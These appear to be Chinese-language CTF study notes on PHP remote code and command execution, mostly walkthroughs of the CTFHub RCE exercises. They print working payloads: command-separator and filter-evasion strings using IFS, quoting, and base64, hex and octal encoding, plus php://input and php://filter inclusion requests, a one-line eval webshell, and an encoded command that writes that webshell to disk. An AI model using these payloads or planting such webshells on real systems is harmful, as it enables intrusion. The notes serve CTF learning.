–
基础原理
rce,远程代码执行漏洞,攻击者通过远程调用方式攻击计算机设备
分为 远程命令执行 ping 和 远程代码执行 evel
原因是对注入代码看守不严,执行函数处理不谨慎
1 | PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort() |
远程代码执行
要在命令外包裹执行函数
如 eval(system(“ls”))
远程命令执行
$cmd = shell_exec( ‘ping ‘ . $target );
命令分隔符
windows中
& 1后2
| 直接执行2(1输出作为2输入)
%0a 换行 可以替换|
%1a(作为.bat文件中命令分隔符)linux中
& 任务在后台执行
&& 1成功后2
| 1输出作为2 的命令参数
|| 1失败后2
%0a 换行
%0d 回车
;
cat /flag 查找flag
cat …
ls
ls / 显示根目录
绕过
空格
< 、<>、%20(space)、%09(tab)、$IFS$1、 ${IFS}
(IFS 內部字段分割符)
运算符
%0a绕过 |
花括号
{cat,flag} 逗号代替空格
文件名黑名单绕过
拼接:
1
2
3$a=fla;$b=g.php;$a$b
需要顺序过滤 就 $b=g.php;$a=cat$IFS$1fla;$a$b;
$a=g;cat$IFS$1fla$a.php编码:
base64:1
2echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flaghex:
1
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
oct:
1
2
3
4
5$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php单引号 双引号 反斜杠
ca’’t flag
ca””t flag
ca\t fl\ag通配符
cd *_is_here ;ls(此处过滤flag)长度限制
长度限制可以用文件构造的方式来绕过。
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行内联执行
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。类似的还有$(command).
cat$IFSls
cat$IFS$(ls)
linux 系统默认shell
bash(bourne again shell)
(/bin/bash)
(bourne shell)
(/usr/bin/sh)
ctfhub rce技能树(练习
eval:
1
eval("cmd") (phpcode要包含;)
?cmd=system(“ls”); 显示当前目录
?cmd=system(“ls /“); 显示根目录,下有flag_13687
?cmd=system(“cat /flag_13687”);文件包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
shell.txt:
<?php eval($_REQUEST['ctfhub']);?>过滤flag
[get]?file=shell.txt
[post]?ctfhub=如一题中的代码php://input
1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>phpinfo中 allow_url_fopen allow_url_include 是on状态
伪协议php://input用于执行php代码1
2
3
4?file=php://input
[post]<?php system("ls /;") ?>
(需要在burpsuite中实现)
[post]<?php system("cat /flag_28659;") ?>读取源代码
1
/?file=php://filter/read=convert.base64-encode/resource=/flag
远程包含
查询phpinfo 可以进行远程包含
源码:1
2
3
4
5
6
7
8
9
10
11
12<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>过滤了flag 区分大小写
前面同3,好像后面同3也可以直接获得答案。。。em命令注入
0.0.1;ls
直接cat 19275229355668.php 没有回显
使用base64输出。。。或者上一步看源码。(原因是有一些特殊字符无法回显?过滤cat命令
flag_12381156977199.php
1;$b=a;c$bt flag_12381156977199.php; 不可
1;ca\t flag_12381156977199.php 可
1;ca’’t flag_12381156977199.php 可过滤空格
见上文过滤目录分隔符/
1;cd flag_is_here;ls
1;cat flag_8904735119873.php失败 要在下一层目录下查询内容
1;cd flag_is_here;cat flag_8904735119873.php过滤运算符 || &
直接用分号
如果是|base64 写成 base64 flag_146302966521437.php综合过滤练习
1
2
3if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);过滤|; & / cat flag ctfhub
1%0als(%0a为url编码 不能再输入框中输入)
1%0acd${IFS}*_is_here%0als
1%0acd${IFS}*_is_here%0ac\at${IFS}fl\ag_57542074411779.php
无参数rce
代码形式
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);} |
preg_replace 只允许剩下小写字母,不能携带参数
((?R)?) 表示递归整个匹配模式
preg_match 过滤不带参数的函数
常使用函数
构造点
localeconv():返回包含本地数字及货币格式信息的数组(数组第一项为 . 第二项为 .. )
current():返回数组中的当前单元,默认取第一个
pos() 同 current()
所以 current(localeconv()) 为 .
localtime() 接收参数 第一个参数直接接收time()
pos(localtime(time())) 获取第一个参数 即系统当前秒数
ord(hebrevc(crypt(phpversion()))) 获得46
chr(46)=’.’
end() 将内部指针指向最后一个单元
prev() 内部指针倒回一位
reset() 内部指针指向第一个单元
each() 返回数组中当前键/值 并将数组指针前移一步
next() 数组内部指针前移
chdir() 将内部指针向前移动一位( chdir(..) 即把目录切换至上一级
key() 取得键名
array_reverse() 相反元素顺序返回数组
array_rand() 从数组随机取出一个或多个单元 刷新+少量元素使用
array_flip() 交换数组键值
session_id() 获取当前的session id
配合使用session_id(session_start()) 手动设置 phpsession cookie 为 flag.php
file_get_contents()
readfile() + echo()
readgzfile()
highlight_file()
show_source()
读取源码
更多
getchwd() 函数返回当前工作目录。
dirname() 函数返回路径中的目录部分。
array_slice() 函数在数组中根据条件取出一段值,并返回
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
步骤
- 看过滤了什么
var_dump(get_defined_functions());
具体环境的一些别的方法:
apache:
getallheaders():获取全部http请求头信息
步骤一 var_dump(getallheaders()) 通过头部传入恶意数据
步骤二 eval(current(getallheaders()))取出
gninx:
get_defined_vars():返回由所有已定变量所组成的数组